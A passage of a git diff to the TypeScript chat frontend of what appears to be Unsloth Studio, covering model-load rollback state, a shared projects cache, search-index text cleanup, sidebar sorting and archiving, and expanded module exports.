+                  gpu_layers: stateBeforeUnload.loadedGpuLayers ?? GPU_LAYERS_AUTO,
+                  n_cpu_moe: stateBeforeUnload.loadedNCpuMoe ?? 0,
+                  tensor_split: stateBeforeUnload.loadedSplitRatio ?? undefined,
+                  gpu_ids: stateBeforeUnload.loadedGpuIds ?? undefined,
                 });
+                const rollbackSpeculativeType = normalizeSpeculativeType(
+                  rollbackResponse.speculative_type,
+                );
                 useChatRuntimeStore.setState({
                   activeNativePathToken: previousActiveNativePathToken ?? null,
-                  loadedSpeculativeType: null,
-                  loadedSpecDraftNMax: null,
+                  // Restore the previous token's lease together with the token so a
+                  // rollback never pairs restored token A with failed load B's expiry.
+                  activeNativePathExpiresAtMs: previousActiveNativePathToken
+                    ? (previousActiveNativePathExpiresAtMs ?? null)
+                    : null,
+                  // Restore the editable speculative knobs to the rolled-back
+                  // model's; the loaded baselines below come from its reload echo.
+                  speculativeType: stateBeforeUnload.loadedSpeculativeType ?? null,
+                  specDraftNMax: stateBeforeUnload.loadedSpecDraftNMax ?? null,
+                  loadedSpeculativeType: rollbackSpeculativeType,
+                  loadedSpecDraftNMax:
+                    rollbackResponse.spec_draft_n_max ?? null,
+                  loadedKvCacheDtype: rollbackResponse.cache_type_kv ?? null,
+                  loadedChatTemplateOverride:
+                    stateBeforeUnload.loadedChatTemplateOverride,
+                  ...loadedGpuMemoryFields(rollbackResponse),
+                  tensorParallel: rollbackResponse.tensor_parallel ?? false,
+                  loadedTensorParallel:
+                    rollbackResponse.tensor_parallel ?? false,
+                  customContextLength:
+                    stateBeforeUnload.loadedCustomContextLength,
+                  loadedCustomContextLength:
+                    stateBeforeUnload.loadedCustomContextLength,
                 });
                 await refresh();
               } catch {
@@ -1188,6 +1455,9 @@ export function useChatModelRuntime() {
           resetLoadingUi();
         }
       } catch (error) {
+        if (typeof selection !== "string" && selection.previousConfig) {
+          applyPerModelConfigToRuntime(selection.previousConfig);
+        }
         if (abortCtrl.signal.aborted) return; // User cancelled, nothing to report
         resetLoadingUi();
         const message =
@@ -1218,6 +1488,13 @@ export function useChatModelRuntime() {
     if (!params.checkpoint) {
       return false;
     }
+    const runtime = useChatRuntimeStore.getState();
+    if (runtime.modelLoading || runtime.loadingModelPick) {
+      toast.info("A model is loading", {
+        description: "Wait for it to finish or cancel it first.",
+      });
+      return false;
+    }
     setModelsError(null);
     if (isExternalModelId(params.checkpoint)) {
       clearCheckpoint();
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-projects.ts b/studio/frontend/src/features/chat/hooks/use-chat-projects.ts
index 3f0d46982d..86f540654d 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-projects.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-projects.ts
@@ -1,8 +1,8 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { useEffect, useState } from "react";
-import { CHAT_HISTORY_UPDATED_EVENT } from "../api/chat-api";
+import { useEffect, useState, useSyncExternalStore } from "react";
+import { CHAT_PROJECTS_UPDATED_EVENT } from "../api/chat-api";
 import type { ProjectRecord } from "../types";
 import {
   createStoredChatProject,
@@ -15,32 +15,83 @@ import {
 import type { SidebarItem } from "./use-chat-sidebar-items";
 
 let cachedProjects: ProjectRecord[] = [];
+let projectsLoaded = false;
+let projectsRequest: Promise<ProjectRecord[]> | null = null;
+let projectsRefreshPending = false;
+let lastProjectsUpdateEvent: Event | null = null;
+const projectSubscribers = new Set<() => void>();
+
+function subscribeToProjects(onStoreChange: () => void): () => void {
+  projectSubscribers.add(onStoreChange);
+  return () => projectSubscribers.delete(onStoreChange);
+}
+
+function getProjectsSnapshot(): ProjectRecord[] {
+  return cachedProjects;
+}
+
+function publishProjects(projects: ProjectRecord[]): void {
+  cachedProjects = projects;
+  projectsLoaded = true;
+  for (const onStoreChange of projectSubscribers) onStoreChange();
+}
+
+function loadProjects(
+  force = false,
+  followUpIfPending = false,
+): Promise<ProjectRecord[]> {
+  if (projectsRequest) {
+    if (followUpIfPending) projectsRefreshPending = true;
+    return projectsRequest;
+  }
+  if (!force && projectsLoaded) {
+    return Promise.resolve(cachedProjects);
+  }
+
+  async function run(): Promise<ProjectRecord[]> {
+    let nextProjects: ProjectRecord[] | null = null;
+    do {
+      projectsRefreshPending = false;
+      try {
+        const next = await listStoredChatProjects({ includeArchived: false });
+        nextProjects = Array.isArray(next) ? next : [];
+      } catch (error) {
+        if (!isExpectedBackgroundChatStorageError(error)) throw error;
+        nextProjects = null;
+      }
+    } while (projectsRefreshPending);
+    if (nextProjects !== null) publishProjects(nextProjects);
+    return cachedProjects;
+  }
+
+  const request = run().finally(() => {
+    projectsRequest = null;
+  });
+  projectsRequest = request;
+  return request;
+}
 
 export function useChatProjects(): {
   projects: ProjectRecord[];
   isLoading: boolean;
   hasLoaded: boolean;
 } {
-  // Stay null-safe even if the cache was poisoned by a bad response.
-  const cached = Array.isArray(cachedProjects) ? cachedProjects : [];
-  const [projects, setProjects] = useState<ProjectRecord[]>(cached);
-  const [isLoading, setIsLoading] = useState(cached.length === 0);
-  const [hasLoaded, setHasLoaded] = useState(cached.length > 0);
+  const projects = useSyncExternalStore(
+    subscribeToProjects,
+    getProjectsSnapshot,
+    getProjectsSnapshot,
+  );
+  const [isLoading, setIsLoading] = useState(!projectsLoaded);
+  const [hasLoaded, setHasLoaded] = useState(projectsLoaded);
 
   useEffect(() => {
     let cancelled = false;
 
-    async function load() {
-      if (!cancelled) setIsLoading(true);
+    async function refresh(force = false, followUpIfPending = false) {
+      if (!force && projectsLoaded) return;
+      if (!cancelled && !projectsLoaded) setIsLoading(true);
       try {
-        const next = await listStoredChatProjects({ includeArchived: false });
-        cachedProjects = Array.isArray(next) ? next : [];
-        if (!cancelled) setProjects(cachedProjects);
-      } catch (error) {
-        if (isExpectedBackgroundChatStorageError(error)) {
-          return;
-        }
-        if (!cancelled) throw error;
+        await loadProjects(force, followUpIfPending);
       } finally {
         if (!cancelled) {
           setHasLoaded(true);
@@ -49,15 +100,18 @@ export function useChatProjects(): {
       }
     }
 
-    const onHistoryUpdated = () => {
-      void load();
+    const onProjectsUpdated = (event: Event) => {
+      const followUpIfPending = event !== lastProjectsUpdateEvent;
+      lastProjectsUpdateEvent = event;
+      void refresh(true, followUpIfPending);
     };
-
-    void load();
-    window.addEventListener(CHAT_HISTORY_UPDATED_EVENT, onHistoryUpdated);
+    // Cached rows render immediately, then one shared request reconciles
+    // changes made by another browser tab or API client.
+    void refresh(projectsLoaded);
+    window.addEventListener(CHAT_PROJECTS_UPDATED_EVENT, onProjectsUpdated);
     return () => {
       cancelled = true;
-      window.removeEventListener(CHAT_HISTORY_UPDATED_EVENT, onHistoryUpdated);
+      window.removeEventListener(CHAT_PROJECTS_UPDATED_EVENT, onProjectsUpdated);
     };
   }, []);
 
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts b/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts
index 841f2c2a2f..9badd43bc3 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts
@@ -28,13 +28,43 @@ const SEARCH_REBUILD_DEBOUNCE_MS = 300;
 // Keys whose values are base64 image/audio payloads, not searchable text.
 const BINARY_KEY = /b64|base64|^(images?|audio|video)$/i;
 
+// Drop a trailing __MCP_IMAGES__ envelope only when it is the valid JSON image
+// array appended by the backend, so legit tool text that merely mentions the
+// marker stays searchable. (base64 runs below are scrubbed regardless.)
+function stripMcpImageSuffix(value: string): string {
+  const marker = "\n__MCP_IMAGES__:";
+  const idx = value.lastIndexOf(marker);
+  if (idx === -1) return value;
+  try {
+    const images: unknown = JSON.parse(value.slice(idx + marker.length));
+    if (
+      Array.isArray(images) &&
+      images.length > 0 &&
+      images.every(
+        (img) =>
+          typeof img === "object" &&
+          img !== null &&
+          typeof (img as Record<string, unknown>).data === "string" &&
+          typeof (img as Record<string, unknown>).mimeType === "string",
+      )
+    ) {
+      return value.slice(0, idx);
+    }
+  } catch {
+    // Not a valid envelope; leave the text intact.
+  }
+  return value;
+}
+
 // Readable text from tool args/results, dropping base64 image/audio blobs so
 // they never bloat the index (object fields by key, plus data URLs / long
 // base64 runs and the "__IMAGES__" suffix inside strings).
 function searchableText(value: unknown, depth = 0): string {
   if (typeof value === "string") {
-    const cut = value.indexOf("\n__IMAGES__:");
-    return (cut === -1 ? value : value.slice(0, cut))
+    let text = stripMcpImageSuffix(value);
+    const cut = text.indexOf("\n__IMAGES__:");
+    if (cut !== -1) text = text.slice(0, cut);
+    return text
       .replace(/data:[^;,\s]+;base64,[A-Za-z0-9+/=]+/g, " ")
       .replace(/[A-Za-z0-9+/]{120,}={0,2}/g, " ");
   }
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts b/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
index 55d7777e43..a08bd5fa54 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
@@ -27,20 +27,25 @@ export interface SidebarItem {
   id: string;
   title: string;
   createdAt: number;
+  updatedAt: number;
   isFork?: boolean;
   projectId?: string | null;
 }
 
+function lastActivityAt(thread: ThreadRecord): number {
+  return thread.updatedAt ?? thread.createdAt;
+}
+
 export function groupThreads(
   threads: ThreadRecord[],
   archived = false,
 ): SidebarItem[] {
   const items: SidebarItem[] = [];
-  const seenPairs = new Set<string>();
+  const pairItems = new Map<string, SidebarItem>();
 
   for (const t of threads) {
     // Coerce archived to a boolean before comparing. Legacy threads (from the
-    // older browser-only Studio, or any record predating the archived field)
+    // older browser-only Unsloth, or any record predating the archived field)
     // can have archived === undefined or null; a raw `!== archived` comparison
     // would drop those from BOTH the Recents (archived=false) and Archived
     // (archived=true) lists, hiding existing chats. Treat missing as false.
@@ -48,30 +53,35 @@ export function groupThreads(
       continue;
     }
     if (t.pairId) {
-      if (seenPairs.has(t.pairId)) {
+      const existing = pairItems.get(t.pairId);
+      if (existing) {
+        existing.updatedAt = Math.max(existing.updatedAt, lastActivityAt(t));
         continue;
       }
-      seenPairs.add(t.pairId);
-      items.push({
+      const item: SidebarItem = {
         type: "compare",
         id: t.pairId,
         title: t.title,
         createdAt: t.createdAt,
+        updatedAt: lastActivityAt(t),
         projectId: t.projectId ?? null,
-      });
+      };
+      pairItems.set(t.pairId, item);
+      items.push(item);
     } else if (!t.pairId) {
       items.push({
         type: "single",
         id: t.id,
         title: t.title,
         createdAt: t.createdAt,
+        updatedAt: lastActivityAt(t),
         isFork: Boolean(t.forkedFromThreadId),
         projectId: t.projectId ?? null,
       });
     }
   }
 
-  return items.sort((a, b) => b.createdAt - a.createdAt);
+  return items.sort((a, b) => b.updatedAt - a.updatedAt);
 }
 
 // Streaming fires CHAT_HISTORY_UPDATED_EVENT per chunk. Debounce so each quiet
@@ -84,6 +94,7 @@ export function useChatSidebarItems(options?: {
   requireMessages?: boolean;
 }) {
   const [allThreads, setAllThreads] = useState<ThreadRecord[]>([]);
+  const [loaded, setLoaded] = useState(false);
   const enabled = options?.enabled ?? true;
   const requireMessages = options?.requireMessages ?? true;
 
@@ -111,6 +122,7 @@ export function useChatSidebarItems(options?: {
         // were in flight, or if the effect was torn down.
         if (cancelled || seq !== requestSeq) return;
         setAllThreads(threads);
+        setLoaded(true);
       } catch (error) {
         if (isExpectedBackgroundChatStorageError(error)) {
           return;
@@ -144,7 +156,7 @@ export function useChatSidebarItems(options?: {
   const archivedItems = groupThreads(allThreads ?? [], true);
   const canCompare = useChatRuntimeStore((s) => Boolean(s.params.checkpoint));
 
-  return { items, archivedItems, canCompare };
+  return { items, archivedItems, canCompare, loaded };
 }
 
 function cancelIfRunning(threadId: string): void {
@@ -205,6 +217,40 @@ export async function archiveChatItem(
   notifyChatHistoryUpdated();
 }
 
+export async function archiveAllChatItems(
+  activeId?: string,
+  onSelect?: (view: { mode: "single"; newThreadNonce: string }) => void,
+): Promise<number> {
+  const threads = await listStoredChatThreads({ includeArchived: true });
+  // Boolean() mirrors groupThreads: legacy records may have archived
+  // undefined/null, which must count as "not archived".
+  const toArchive = threads.filter((t) => !t.archived);
+  if (toArchive.length === 0) return 0;
+
+  for (const t of toArchive) cancelIfRunning(t.id);
+
+  await Promise.all(
+    toArchive.map((t) => updateStoredChatThread(t.id, { archived: true })),
+  );
+
+  // Reset only when this action archived the active single thread or compare
+  // pair. An already-archived chat opened from the archive is not in
+  // toArchive and must stay open.
+  const archivedActive =
+    activeId !== undefined &&
+    toArchive.some(
+      (thread) => thread.id === activeId || thread.pairId === activeId,
+    );
+  if (archivedActive) {
+    useChatRuntimeStore.getState().setActiveThreadId(null);
+    onSelect?.({ mode: "single", newThreadNonce: crypto.randomUUID() });
+  }
+
+  notifyChatHistoryUpdated();
+  // Report sidebar items, not raw threads: a compare pair reads as one chat.
+  return groupThreads(toArchive).length;
+}
+
 export async function unarchiveChatItem(item: SidebarItem): Promise<void> {
   const threadIds: string[] =
     item.type === "single"
diff --git a/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts b/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
deleted file mode 100644
index d8076c720b..0000000000
--- a/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
+++ /dev/null
@@ -1,155 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { useCallback, useEffect } from "react";
-
-import { useRepoDownload } from "@/features/hub/download-manager/use-repo-download";
-import type { DownloadJob } from "@/features/hub/download-manager/use-repo-download";
-import { useLatestRef } from "@/features/hub/hooks/use-latest-ref";
-
-import { fetchGgufContextLength } from "../api/chat-api";
-import {
-  isPendingGguf,
-  pendingSelectionMatches,
-  useChatRuntimeStore,
-} from "../stores/chat-runtime-store";
-import type { PendingModelSelection } from "../stores/chat-runtime-store";
-
-/**
- * Drives the deferred ("Load on selection" off) staging flow for a GGUF:
- * download the file if needed (HF repo) or read it in place (native drag-drop /
- * picked file), then read its header context length so the settings sheet can
- * show the real context slider before the single GPU load. The staged context
- * lands on `pendingSelection.contextLength` (scoped to the staged model, never
- * the loaded model's `ggufContextLength`). Returns the live download job so the
- * sheet can render progress / cancel. Mount once on the chat page.
- */
-export function useStagedModelPreparation(opts?: {
-  /** Load the cached file once an autoLoad pick's download completes. */
-  onAutoLoad?: (pending: PendingModelSelection) => void;
-}): DownloadJob {
-  const pendingId = useChatRuntimeStore((s) => s.pendingSelection?.id ?? null);
-  const pendingVariant = useChatRuntimeStore(
-    (s) => s.pendingSelection?.ggufVariant ?? null,
-  );
-  const pendingNativeToken = useChatRuntimeStore(
-    (s) => s.pendingSelection?.nativePathToken ?? null,
-  );
-  // Only GGUF picks (HF variant or native file) have a header worth reading.
-  const pendingIsGguf = useChatRuntimeStore((s) =>
-    isPendingGguf(s.pendingSelection),
-  );
-  // Non-GGUF HF repos download a full snapshot (variant null) but have no header.
-  const pendingIsHubRepo = useChatRuntimeStore(
-    (s) => s.pendingSelection?.isHubRepo ?? false,
-  );
-  const pendingDownloaded = useChatRuntimeStore(
-    (s) => s.pendingSelection?.isDownloaded ?? false,
-  );
-  const pendingHasContext = useChatRuntimeStore(
-    (s) => s.pendingSelection?.contextLength != null,
-  );
-  const setPendingSelection = useChatRuntimeStore((s) => s.setPendingSelection);
-  const onAutoLoadRef = useLatestRef(opts?.onAutoLoad);
-
-  // A failed or cancelled autoLoad download has no sheet to retry from, so drop
-  // the staged pick rather than leave it waiting on a load that won't come.
-  const handleAutoLoadAbort = useCallback((variant: string | null) => {
-    const latest = useChatRuntimeStore.getState().pendingSelection;
-    if (
-      latest?.autoLoad &&
-      (latest.ggufVariant ?? null) === (variant ?? null)
-    ) {
-      useChatRuntimeStore.getState().abandonStagedModel();
-    }
-  }, []);
-
-  const fetchContextMetadata = useCallback(async () => {
-    const current = useChatRuntimeStore.getState().pendingSelection;
-    if (!current?.id || !isPendingGguf(current)) return;
-    const { id, ggufVariant, nativePathToken } = current;
-    try {
-      const contextLength = await fetchGgufContextLength({
-        model_path: id,
-        gguf_variant: ggufVariant,
-        hf_token: useChatRuntimeStore.getState().hfToken || null,
-        nativePathToken,
-      });
-      // Apply only if the same model is still staged (the user may have switched
-      // picks or loaded/cancelled while the request was in flight).
-      const latest = useChatRuntimeStore.getState().pendingSelection;
-      if (
-        latest &&
-        contextLength != null &&
-        pendingSelectionMatches(latest, { id, ggufVariant, nativePathToken })
-      ) {
-        setPendingSelection({ ...latest, contextLength });
-      }
-    } catch {
-      // Leave contextLength null: the context slider stays hidden and the user
-      // can still load (context fills in from the load response afterwards).
-    }
-  }, [setPendingSelection]);
-
-  const job = useRepoDownload({
-    kind: "model",
-    // useRepoDownload must be called unconditionally; an idle repo id keeps it
-    // inert until something is staged.
-    repoId: pendingId ?? "__staged_idle__",
-    activeVariant: pendingVariant,
-    onComplete: (variant) => {
-      // autoLoad picks load the cached file now; staged picks read the header so
-      // the sheet's context slider can show before a manual load.
-      const latest = useChatRuntimeStore.getState().pendingSelection;
-      if (
-        latest?.autoLoad &&
-        (latest.ggufVariant ?? null) === (variant ?? null)
-      ) {
-        onAutoLoadRef.current?.(latest);
-        return;
-      }
-      void fetchContextMetadata();
-    },
-    onError: handleAutoLoadAbort,
-    onCancelled: handleAutoLoadAbort,
-  });
-
-  // job.requestStartDownload's identity changes per render; hold it in a ref so
-  // the staging effect re-runs only when the staged model itself changes.
-  const startDownloadRef = useLatestRef(job.requestStartDownload);
-  const fetchMetadataRef = useLatestRef(fetchContextMetadata);
-
-  useEffect(() => {
-    // GGUF picks (header worth reading) and uncached non-GGUF hub repos (full
-    // snapshot, no header) both run here; everything else is loaded directly.
-    if (
-      !pendingId ||
-      (!pendingIsGguf && !pendingIsHubRepo) ||
-      pendingHasContext
-    ) {
-      return;
-    }
-    // Native files and already-downloaded HF files are local: read the header
-    // now. Otherwise download first (a GGUF variant, or a null-variant snapshot
-    // for a hub repo); onComplete then reads the header or auto-loads.
-    if (pendingNativeToken || pendingDownloaded) {
-      void fetchMetadataRef.current();
-    } else {
-      const expectedBytes =
-        useChatRuntimeStore.getState().pendingSelection?.expectedBytes ?? 0;
-      void startDownloadRef.current(pendingVariant, expectedBytes);
-    }
-  }, [
-    pendingId,
-    pendingVariant,
-    pendingNativeToken,
-    pendingIsGguf,
-    pendingIsHubRepo,
-    pendingDownloaded,
-    pendingHasContext,
-    startDownloadRef,
-    fetchMetadataRef,
-  ]);
-
-  return job;
-}
diff --git a/studio/frontend/src/features/chat/index.ts b/studio/frontend/src/features/chat/index.ts
index 75749b0040..785212a2c4 100644
--- a/studio/frontend/src/features/chat/index.ts
+++ b/studio/frontend/src/features/chat/index.ts
@@ -3,40 +3,91 @@
 
 export { ChatPage, validateChatSearch, type ChatSearch } from "./chat-page";
 export {
+  addScanFolder,
+  browseFolders,
+  deleteChatAttachment,
+  deleteFineTunedModel,
+  fetchChatAttachmentBlob,
+  fetchGgufStagedMetadata,
+  getCachedModelPath,
   getInferenceStatus,
+  listChatAttachments,
   listGgufVariants,
   listLocalModels,
+  listRecommendedFolders,
+  listScanFolders,
   loadModel,
+  notifyChatHistoryUpdated,
+  removeScanFolder,
+  revealCachedModel,
+  type BrowseFoldersResponse,
+  type CachedGgufRepo,
+  type CachedModelRepo,
+  type ChatAttachmentPage,
+  type ChatAttachmentRecord,
   type LocalModelInfo,
+  type ScanFolderInfo,
 } from "./api/chat-api";
 export type { GgufVariantDetail } from "./types/api";
 export {
   ChatSettingsPanel,
+  ParamSlider,
   defaultInferenceParams,
   type InferenceParams,
   type Preset,
 } from "./chat-settings-sheet";
 export { useChatRuntimeStore } from "./stores/chat-runtime-store";
+export {
+  CHAT_RAG_CAPTION_KEY,
+  CHAT_RAG_OCR_KEY,
+  normalizeSpeculativeType,
+  readPersistedSpeculativeType,
+  readPersistedGpuMemoryMode,
+  reconcilePersistedGpuIds,
+  GPU_LAYERS_AUTO,
+} from "./stores/chat-runtime-store";
+export {
+  preferFullToolOutput,
+  toolOutputKey,
+  useToolPaneScope,
+} from "./tool-output-scope";
+export { PermissionModeDropdown } from "./permission-mode-select";
 export { useChatSearchStore } from "./stores/chat-search-store";
 export { usePinnedChatsStore } from "./stores/pinned-chats-store";
+export { usePinnedProjectsStore } from "./stores/pinned-projects-store";
 export { useChatPreferencesStore } from "./stores/chat-preferences-store";
 export {
   PLUS_MENU_ORDER,
   usePlusMenuPrefsStore,
   type PlusMenuItemId,
 } from "./stores/plus-menu-prefs-store";
-export { useChatModelRuntime } from "./hooks/use-chat-model-runtime";
-export { isExternalModelId } from "./external-providers";
+export {
+  useChatModelRuntime,
+  resyncInferenceStatusAfterServerModelChange,
+} from "./hooks/use-chat-model-runtime";
+export {
+  customProviderDisplayName,
+  isCustomProviderType,
+  isExternalModelId,
+  parseExternalModelId,
+} from "./external-providers";
+export { ApiProviderLogo } from "./api-provider-logo";
+export { useExternalProvidersStore } from "./stores/external-providers-store";
 export { ChatSearchDialog } from "./components/chat-search-dialog";
 export { setTrainingCompareHandoff } from "./lib/training-compare-handoff";
 export type { ProjectRecord } from "./types";
 export { clearAllChats, countAllChats } from "./utils/clear-all-chats";
+export { listStoredChatThreads } from "./utils/chat-history-storage";
+export { emitChatAttachmentDeleted } from "./utils/chat-attachment-events";
 export { ArtifactCard } from "./artifacts/artifact-card";
 export {
   useChatArtifactsStore,
   useSelectedChatArtifact,
 } from "./artifacts/store";
-export { downloadChatExport } from "./utils/export-chat-history";
+export {
+  downloadArchivedChatExport,
+  downloadChatExport,
+} from "./utils/export-chat-history";
 export {
   clearNewChatDraft,
   composerDraftKey,
@@ -45,10 +96,14 @@ export {
 } from "./utils/composer-draft";
 export {
   EXPORT_FORMATS_LIST,
+  buildFineTuneJsonl,
   bulkExportConversationsByScope,
+  exportFineTuneJsonl,
   importConversationsFromFile,
+  type FineTuneFormat,
 } from "./prompt-storage/prompt-storage-dialog";
 export {
+  archiveAllChatItems,
   archiveChatItem,
   deleteChatItem,
   renameChatItem,
@@ -64,3 +119,25 @@ export {
   updateChatProjectInstructions,
   useChatProjects,
 } from "./hooks/use-chat-projects";
+export { subscribeDictationLevel } from "./adapters/dictation-level";
+export {
+  StudioDictationAdapter,
+  cancelActiveStudioDictation,
+  isStudioDictationAvailable,
+  notifyStudioDictationUnavailable,
+} from "./adapters/studio-dictation-adapter";
+export {
+  StudioModelDictationAdapter,
+  fetchSttStatus,
+  loadSttModel,
+  startSttDownload,
+  unloadSttModel,
+  validateSttModel,
+  type SttDownloadStatus,
+} from "./adapters/studio-model-dictation-adapter";
+export {
+  StudioSpeechSynthesisAdapter,
+  createConfiguredUtterance,
+  curateSystemVoices,
+  generateStudioTtsAudio,
+} from "./adapters/studio-speech-synthesis-adapter";
diff --git a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
index 9386650fee..547c3f374e 100644
--- a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
+++ b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
@@ -2,21 +2,32 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { getInferenceStatus } from "../api/chat-api";
-import { mergeBackendRecommendedInference } from "../presets/preset-policy";
+import {
+  mergeBackendRecommendedInference,
+  resolveManualAutoCtxPin,
+} from "../presets/preset-policy";
+import { clampReasoningEffortToLevels } from "../provider-capabilities";
 import {
   CHAT_REASONING_ENABLED_KEY,
-  loadOptionalBool,
   type ReasoningEffort,
   type ReasoningStyle,
+  loadOptionalBool,
+  loadedGpuMemoryFields,
   resolveToolsEnabledOnLoad,
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
-import { isMultimodalResponse, type InferenceStatusResponse } from "../types/api";
-import { clampReasoningEffortToLevels } from "../provider-capabilities";
+import {
+  type InferenceStatusResponse,
+  isMultimodalResponse,
+} from "../types/api";
 import type { ChatModelSummary } from "../types/runtime";
 
 type LocalReasoningEffort = Extract<ReasoningEffort, "low" | "medium" | "high">;
 
+function sameArray<T>(a: T[] | null, b: T[] | null): boolean {
+  return JSON.stringify(a) === JSON.stringify(b);
+}
+
 // Canonicalises backend / persisted speculative mode values onto the UI modes.
 export function normalizeSpeculativeType(
   v: string | null | undefined,
@@ -31,7 +42,10 @@ export function normalizeSpeculativeType(
     return "ngram";
   }
   if (s === "mtp+ngram") return "mtp+ngram";
-  const parts = s.split(",").map((p) => p.trim()).filter(Boolean);
+  const parts = s
+    .split(",")
+    .map((p) => p.trim())
+    .filter(Boolean);
   const hasMtp = parts.some((p) => p === "mtp" || p === "draft-mtp");
   const hasNgram = parts.some(
     (p) => p === "ngram" || p === "ngram-mod" || p === "ngram-simple",
@@ -113,6 +127,10 @@ function ensureActiveModelInStoreList(
 
 export type ApplyInferenceStatusOptions = {
   previousCheckpoint?: string;
+  /** activeGgufVariant BEFORE the caller's setCheckpoint synced it to the
+   * status -- without it a variant-only switch underneath the tab reads as
+   * steady state and the hydration reseed keeps the old quant's baselines. */
+  previousGgufVariant?: string | null;
 };
 
 /** Mirror refresh() hydration so adopted CLI models get reasoning/tools flags. */
@@ -138,9 +156,13 @@ export function applyActiveModelStatusToStore(
     );
   }
 
+  const previousGgufVariant =
+    options.previousGgufVariant !== undefined
+      ? options.previousGgufVariant
+      : store.activeGgufVariant;
   const hydratingExistingModel =
     previousCheckpoint !== checkpointId ||
-    store.activeGgufVariant !== (status.gguf_variant ?? null);
+    previousGgufVariant !== (status.gguf_variant ?? null);
   const supportsReasoning = status.supports_reasoning ?? false;
   const reasoningAlwaysOn = status.reasoning_always_on ?? false;
   const reasoningStyle = status.reasoning_style ?? "enable_thinking";
@@ -165,7 +187,8 @@ export function applyActiveModelStatusToStore(
   const currentSpecType = normalizeSpeculativeType(status.speculative_type);
   const prevState = useChatRuntimeStore.getState();
   const clampedReasoningEffort =
-    reasoningStyle === "enable_thinking_effort"
+    reasoningStyle === "enable_thinking_effort" ||
+    reasoningStyle === "reasoning_effort"
       ? clampReasoningEffortToLevels(
           prevState.reasoningEffort,
           reasoningEffortLevels,
@@ -178,6 +201,66 @@ export function applyActiveModelStatusToStore(
   // While a load is in flight, performLoad owns the load params. Seeding them
   // from a stale poll here would clobber the values the load dialog just set.
   const seedLoadParams = !prevState.modelLoading;
+  // A Manual + Auto-layers load sent its positive context pin as max_seq_length,
+  // and status only exposes the RESOLVED context; re-seed the pin from the
+  // requested value (parity with the load paths' keepCustomCtx). Baselines
+  // unconditionally: anything but an applicable pin is null, so a previous
+  // model's pin can't survive a model change underneath and reload at the old length.
+  const gpuPin = status.is_gguf
+    ? resolveManualAutoCtxPin(
+        status.gpu_memory_mode ?? "auto",
+        status.gpu_layers ?? -1,
+        status.requested_context_length ?? null,
+      )
+    : null;
+  const incomingGpuMode = status.is_gguf
+    ? (status.gpu_memory_mode ?? "auto")
+    : null;
+  const incomingGpuLayers =
+    incomingGpuMode === "manual" ? (status.gpu_layers ?? null) : null;
+  const incomingNCpuMoe =
+    incomingGpuMode === "manual" ? (status.n_cpu_moe ?? null) : null;
+  const incomingSplit =
+    incomingGpuMode === "manual" ? (status.tensor_split ?? null) : null;
+  const incomingGpuIds = status.is_gguf ? (status.gpu_ids ?? null) : null;
+  const gpuStatusChanged =
+    prevState.loadedGpuMemoryMode !== incomingGpuMode ||
+    prevState.loadedGpuLayers !== incomingGpuLayers ||
+    prevState.loadedNCpuMoe !== incomingNCpuMoe ||
+    !sameArray(prevState.loadedSplitRatio, incomingSplit) ||
+    !sameArray(prevState.loadedGpuIds, incomingGpuIds) ||
+    prevState.loadedCustomContextLength !== gpuPin;
+  const gpuMemoryEditsPending =
+    (prevState.loadedGpuMemoryMode !== null &&
+      prevState.gpuMemoryMode !== prevState.loadedGpuMemoryMode) ||
+    (prevState.loadedGpuMemoryMode === "manual" &&
+      (prevState.gpuLayers !== prevState.loadedGpuLayers ||
+        prevState.nCpuMoe !== prevState.loadedNCpuMoe ||
+        !sameArray(prevState.splitRatio, prevState.loadedSplitRatio))) ||
+    prevState.customContextLength !== prevState.loadedCustomContextLength;
+  const gpuIdsEditPending = !sameArray(
+    prevState.selectedGpuIds,
+    prevState.loadedGpuIds,
+  );
+  const incomingGpuFields = loadedGpuMemoryFields(status);
+  // A same-model reload from another client advances every loaded baseline.
+  // Preserve each editable group only when this tab has an unapplied change.
+  const preserveSameModelEdits = gpuStatusChanged && !hydratingExistingModel;
+  const gpuStatusFields = {
+    ...incomingGpuFields,
+    customContextLength: gpuPin,
+    loadedCustomContextLength: gpuPin,
+    ...(preserveSameModelEdits &&
+      gpuMemoryEditsPending && {
+        gpuMemoryMode: prevState.gpuMemoryMode,
+        gpuLayers: prevState.gpuLayers,
+        nCpuMoe: prevState.nCpuMoe,
+        splitRatio: prevState.splitRatio,
+        customContextLength: prevState.customContextLength,
+      }),
+    ...(preserveSameModelEdits &&
+      gpuIdsEditPending && { selectedGpuIds: prevState.selectedGpuIds }),
+  };
 
   useChatRuntimeStore.setState({
     supportsReasoning,
@@ -197,35 +280,54 @@ export function applyActiveModelStatusToStore(
     ggufContextLength: currentGgufContextLength,
     ggufMaxContextLength,
     ggufNativeContextLength,
+    ...(status.is_gguf
+      ? {}
+      : { activeNativePathToken: null, activeNativePathExpiresAtMs: null }),
     modelRequiresTrustRemoteCode: status.requires_trust_remote_code ?? false,
     defaultChatTemplate: nextDefaultChatTemplate,
